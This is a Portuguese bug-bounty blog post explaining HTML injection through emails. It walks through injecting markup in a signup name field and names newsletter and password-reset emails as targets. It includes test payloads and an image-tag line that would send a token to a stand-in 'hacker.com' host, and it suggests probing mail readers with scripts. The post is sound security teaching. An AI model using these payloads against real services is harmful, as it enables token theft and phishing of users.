BugBounty types — HTML injection via email

HTML injection é um ataque muito parecido com o Cross-site Scripting (XSS), enquanto no XSS o invasor pode injetar e executar códigos em Javascript, no ataque por injeção de HTML permite apenas a injeção de determinadas tags HTML.

Já o HTML injection via email é baseado em substituir algumas informações no lado do cliente, e conseguir alguma alteração no corpo do email que é enviado para o usuário final.

Ex 1:

O desenvolvedor de algum site aplicou filtros em todos os locais onde a informação é mostrada para o usuário.

O usuário se cadastra no site, com o nome “João” sobrenome “kleber” email joao.k@email.com.

Após o cadastro vem uma mensagem solicitando que o user valide sua conta através de uma confirmação por email.

“Por favor João Kleber, valide sua conta através de um link enviado para joao.k@email[.]com”

Email recebido:

Image for post
Image for post

HTML:

<h1>Confirmação de email</h1>

<p> Olá João Kleber, aqui está o link para confirmar seu email.

http://bancotop.com/confirmation/supertokenconfirmation1234

</p>

Testando o HTML injection:

João cria uma nova conta, com nome `”><img src=x>` e sobrenome test, em seguida o site retorna a resposta:

“Por favor `”><img src=x>` test, valide sua conta através de um link enviado para joao.k@email[.]com”.

Novo Email recebido:

Image for post
Image for post

HTML:

<h1>Confirmação de email</h1>

<p> Olá “><img src=x> test, aqui está o link para confirmar seu email.

http://bancotop.com/confirmation/supertokenconfirmation9231

</p>

Percebemos que o site gravou o nome do usuário como html no banco de dados, e agora ao solicitar confirmação, o html injetado pelo usuário consegue quebrar o email original enviado pelo sistema.

Outros pontos de ataque:

As empresas sempre enviam e-mails promocionais, oferecendo novos produtos, falando sobre novas atualizações ou algum outro tipo de confirmação. Vou deixar aqui alguns lugares que costumo sempre testar.

Newsletter:

Sem precisar de login ou muita informação, em alguns casos podemos cadastrar nosso email para receber as atualizações do site apenas com nome e email.

XSS Com fritas por favor:

Image for post
Image for post

Password Reset:

Image for post
Image for post

Quem sabe se juntarmos com template injection, podemos obter algum token ou outras informações, uma ideia para isso seria injetar

<img src=http:///hacker.com/?token={token}>

Escalando um XSS:

Algumas empresas alugam ou usam o próprio sistema para leitura de e-mails, por isso sempre é uma boa ideia enviar algum script ou um payload que possa nos retornar alguma requisição do lado do servidor, em alguns gerenciadores de email mais usados como o Gmail, não conseguiríamos usar a tag <script>, mas talvez a resposta possa ser outra em algum outro gerenciador privado.

Impacto:

Esse tipo de ataque pode ser usado principalmente para phishing, com intuito de obter informações do usuário ou até comprometer com a integridade de quem está enviando o email.

Em sistemas bancários, pode ser usada para obter informações sobre o cartão da vítima ou solicitar algum pagamento inusitado.

O nível do impacto pode ser diferente, dependendo de para quem você reportou.

Twitter: https://twitter.com/elber333

https://hackerone.com/hacktivity
Google Dork: [Html injection via email site:”hackerone.com”]

Written by

Pentester , CTF player, Bug Hunter & Security Researcher \nTwitter: https://twitter.com/elber333

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store